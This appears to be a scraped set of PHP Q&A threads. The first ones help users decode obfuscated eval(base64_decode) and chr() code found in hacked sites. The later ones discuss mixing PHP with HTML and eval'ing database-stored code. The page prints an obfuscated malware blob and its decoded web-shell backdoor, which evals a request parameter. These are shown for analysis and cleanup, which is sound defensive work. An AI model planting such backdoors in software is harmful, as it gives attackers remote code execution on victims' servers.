I have this PHP code, and it appears to be obfuscated, instead of the massive line of code, I just substituted it with the word "code":
<?php
eval("?>".gzuncompress(base64_decode("code"))); ?>
Would there be any potential way of decoding said code?
Sure, just replace the eval() with echo(). Based on experience, though, the code in there will probably be obfuscated as well.
echo gzuncompress(base64_decode("code")));
And, then, use auto format feature of some IDE
Related
I Have read a lot on the normal php eval with the base64_encoder and was able to decode much of the infected php files.
With that said, I have this one file that does not follow standard eval call and I would like some help from the community.
Can anyone decode and/or tell me whats happening in the code?
Thanks,
--Eric
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnBvKi9ldmFsLypGUSZRX00qLygvKk56SiovYmFzZTY0X2RlY29kZS8qPDU+cyovKC8qTVl5YnMqLydMeW91U
EZJcUwybG1MeXBiY0h0aFZTb3ZLQzhxZCcvKndLc2Q/PGgqLy4vKllcdkgqLycweHVYRFJvTkNvdmFYTnpaWFF2S2sxTVBDb3ZLQycvKiF9Z1sqLy4vKiBrVlQqLyc4cWRYMHJLaThrWDFKRlVWVkZVMVF2S2
54Mk9DdCcvKjlRSG1Ta1FIKi8uLypFYlMuaCovJ2VNRHM4S2k5Ykx5cHNkSFlxTHlkakp5OHFkMmRHJy8qQUI5Ki8uLypxcyFIZU4qLydlQ292TGk4cVFsVXpObElxTHlkdUp5OHFjRGw0SScvKiY6ZSovLi8
qSlVxKi8nVU51S2k4dUx5b3hYQ1o2S2k4bmVTY3ZLbU10Sz'/*0B>.'&CK*/./*W1H*/'MnLypxcFpJKi8uLypBKWVTKi8nQlNLaTh1THlwa2JqRTFKVG9xTHlkemNTY3ZLa2QnLypgZj5zZTgqLy4vKjlENT
FcTyovJ0ROVGxWS2k5ZEx5cFRORXc1S2k4dkttaytXVE1vJy8qOmBaRUtlJkUqLy4vKlVILjspZSovJ1pTb3ZLUzhxT1RCbFVsWlZLaTh2S2xaSmRTVkpmJy8qVzpMa2hUKi8uLyo1cTNmdT8qLydDb3ZLUzh
xTlZvM0ppb3ZaWFpoYkM4cVp5MWNTMCcvKmheXTtbICovLi8qTC5SS2JZKi8nY3FMeWd2S21KNFZVNHllU292YzNSeWFYQnpiR0YnLypTS2MuJSovLi8qb3MwXjUySHsqLyd6YUdWekx5cGVWVjUzYnlvdktD
OHFKMk00SjBvcScvKlJrSCEqLy4vKk41JjkqLydMeVJmVWtW'/*Ju%:AN*/./*0\`a Z=*/'UlZVVlRWQzhxUUNoZGF5b3ZXeThxTCcvKjw8J3guaCovLi8qbixXKi8nV1JXZXpKSFB6QXFMeWRqYmljdktpMX
JlVkpKS2knLyotVS5zKi8uLyogUl5OKi8nOHVMeXBFVnpKYVoyRXFMeWQ1YzNFbkx5bzRTMFknLypjWmsqLy4vKjNkeWVMKi8naElEb3lRU292WFM4cU5peDZkU292THlwdlNVSngnLyonQVJWdyl1Ki8uLyp
eX1pKOmZ2Ki8nVVNvdktTOHFNV0JqS1V3cUx5OHFiMVU4T2tzcUwnLypUdlQrJkYqLy4vKmtFPDNmISovJ3lrdktsVkllMnNsS2k4dktsWmhVaTVUS3lvdk95OHFKbHhoZlN4MEtpOD0nLypaKWVePyovKS8q
J2tYKi8vKmsmViovKS8qMWdFVyovLyo8OHhObSovOy8qXW8/Ki8='/*L,}I*/)/*8Oyj*//*uEGgU*/)/*+LT*//*Q?.e*/;/*oGCkBv*/ ?>
If you go all the way down the rabbit hole, you get the following command.
if(isset($_REQUEST['cnysq']))eval(stripslashes($_REQUEST['cnysq']));
If you open the code up in a visual editor, you'll see there are a lot of comments. Remove those, and you'll see that it's a bas64 encoded string.
Decode that, and you'll see more of the same.
Keep removing comments and concatenating strings and after about 3 levels, you get to this point.
It's just a bunch of PHP comments in there, e.g. from the first line:
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnB etc...
^^^^^^^ ^^^^^^^^^^^ ^^^^^^^^ ^^^^^^^^^ ^^^^^^^--comments
is really just
<?php eval(base64_decode('LyPSnB etc...
I just noticed today that I have got lots of spam links in my wordpress blog. I just found a file which contains
<?php eval (chr(101).chr(114)...
Its very very long string. Can someone tell me how can I decode this to see what it does? So that I can try to remove the spam links?
Thanks.
Just replace eval by echo and have a look at the generated output
<?php echo (chr(101).chr(114)...
Instead of executing (eval) you can just echo out what it says, preferrably with htmlspecialchars if you execute it via browser:
<?php echo htmlspecialchars(chr(101)...
odds are though that you won't see anything understandable, since it is probably encoded in more ways than one.
Simply replace eval with echo:
<?php echo (chr(101).chr(114)...
Besides that, you most likely need to reinstall whatever you have on your webspace as you obviously have been hacked. Ensure that you use the most recent version of Wordpress and all other software you are running to prevent this from happening again.
Ok, someone has just shown me a piece of PHP code and at the end of the file I've seen a stray <?php } ?> . I thought that should give a compilation error, but it doesn't.
Why is:
<?php
if(1==1){
?>
X
<?php } ?>
valid?
Is it safe to split a statement into multiple php blocks?
PS: I was expecting for something more from the answers then "yes" :D
Yes that is fine, but I would suggest:
<?php if(1==1):?>
X
<?php endif; ?>
It makes it a little more readable then random { and }
From the manual:
Everything outside of a pair of opening and closing tags is ignored by
the PHP parser which allows PHP files to have mixed content. This
allows PHP to be embedded in HTML documents, for example to create
templates.
Welcome to the mysterious world of PHP.
Safe? Yes.
Readable? Not really.
Avoid mixing your PHP logic with your HTML where possible. There are few times when this is a good idea, as it makes reading through and understanding your code difficult.
Yes, this is fine.
It's often useful to drop out of "php mode" for large blocks of HTML - you'll see this technique used anywhere HTML and PHP are mixed.
It is valid, but not recommended if you want to have a code that is maintainable and readable in the long run.
You must bear in mind that every time you "exit" from PHP, you are entering HTML.
For the most part, when I want to display some HTML code to be actually rendered I would use a 'close PHP' tag, write the HTML, then open the PHP again. eg
<?php
// some php code
?>
<p>HTML that I want displayed</p>
<?php
// more php code
?>
But I have seen lots of people who would just use echo instead, so they would have done the above something like
<?php
// some php code
echo("<p>HTML that I want displayed</p>");
// more php code
?>
Is their any performance hit for dropping out and back in like that? I would assume not as the PHP engine would have to process the entire file either way.
What about when you use the echo function in the way that dose not look like a function, eg
echo "<p>HTML that I want displayed</p>"
I would hope that this is purely a matter of taste, but I would like to know if I was missing out on something. I personally find the first way preferable (dropping out of PHP then back in) as it helps draw a clear distinction between PHP and HTML and also lets you make use of code highlighting and hinting for your HTML, which is always handy.
The first type is preferable, exactly for the reasons you mentioned.
Actually, echoing out whole chunks of html is considered bad practice.
No, there's no performance increase that would be visible.
Sometimes its just simply easier to output content using echo (for example, when inside a while or for loop) than to close the php tag.
I think there's a preprocessor which converts the same form into the second. That's what happens in ASP.NET, anyway. And in both ASP.NET and classic ASP, loops can actually stretch across raw-HTML regions.
There's no performance difference at all.
Just the style that produces the most readable code. Depending on the actual situation that can be either of the two.
But mixing HTML and PHP should be avoided where possible anyway. THis can be accomplished by using a template system for your views.
I've got PHP and HTML code stored in a database table. When I get this data, I need to echo the HTML and process the PHP. I thought I could use eval() for this, which works, if I do this eval("echo 'dlsj'; ?> EVALED "); I get "dlsjEVALED" printed out.
The problem is, I get a fatal error when I run longer scripts. Things like:
Parse error: syntax error, unexpected '<' in /home/content.php(18) : eval()'d code on line 1
Best advice - never store php and html code in your database. And avoid eval() like the plague.
I can't really tell what's wrong with your code, as you haven't provided enough information. But even if I did have some advice, I don't think I could give it in good conscience.
You should redesign your whole application so that it doesn't require storing such things in the database. I can't imagine why it would be necessary.
just right der...........
eval('?>' . $content .'<?php');
You need to re-open php mode after the EVALED. Apparently you have to do this with <? rather than the full <?php.
As a rule eval is to be avoided. But rules are made to be broken. There's a thread at When is eval evil in php? that gives some less dogmatic advice.
Depending on what you want to do, it might be suitable to use a template file that you source, with text that will vary stored in a local variable prior to sourcing the template.
As for storing code to be executed in the DB... this does happen in some frameworks like Drupal to provide convenient extensibility, but then Drupal is pretty thoroughly scoured for security weaknesses.
Also if you're writing self-modifying code then you need to use eval(). Not sure if anyone has done that in php but it would certainly be interesting.
I would guess that you're trying to eval() something that contains an opening <?php tag. And that leads to the error at hand.
$contents = htmlentities($contents);
echo html_entity_decode(eval($contents));